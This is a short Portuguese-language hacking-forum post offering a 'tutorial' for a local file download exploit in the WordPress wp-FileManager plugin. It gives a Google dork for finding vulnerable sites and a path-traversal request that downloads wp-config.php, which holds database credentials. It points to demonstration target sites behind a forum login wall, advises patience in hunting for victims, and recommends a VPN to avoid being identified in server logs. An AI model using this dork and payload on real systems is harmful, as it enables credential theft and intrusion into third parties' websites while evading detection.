Exploit Local File Download Plugin "Wordpress"

[db turok]

##########[TUTORIAL Wordpress wp-FileManager Local File Download]###########
SKYPE --> DBTUROK.TROLL
FACEBOOK --> Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
PAGES -->
-->Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
-->Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

GREETZ --> T3ch_!nv4s0r | LWKS OWNER | ARTICOS | KODIAK | SOULMITINICK |
WORDPRESS PLUGUIN -> Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
GOOGLE DORK --> inurl:wp-content/plugins/wp-filemanager/
EXPLOIT --> wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download

ALVOS PARA DEMOSTRÃÇO -->
-->Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
-->Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
-->Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

USO DO EXPLOIT

EXEMPLO HOST/PATCH/[exploit]

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

SE O SITE ESTIVER VULNERAVEL ELE IRÁ BAIXAR O ARQUIVO DE CONFIGURAÇÃO COM O BANCO DE DADOS
"WP-CONFIG.PHP"

pACIENCIA AO PROCURAR OS SITES POIES NEM TODOS QUE ENCONTRAR SERÃO VULNERAVEIS

RECOMENDO O USO DE VPN POIS MUITOS DESSES SITES SALVA O IP COM ESSES TIPO DE ERRO EM LOGS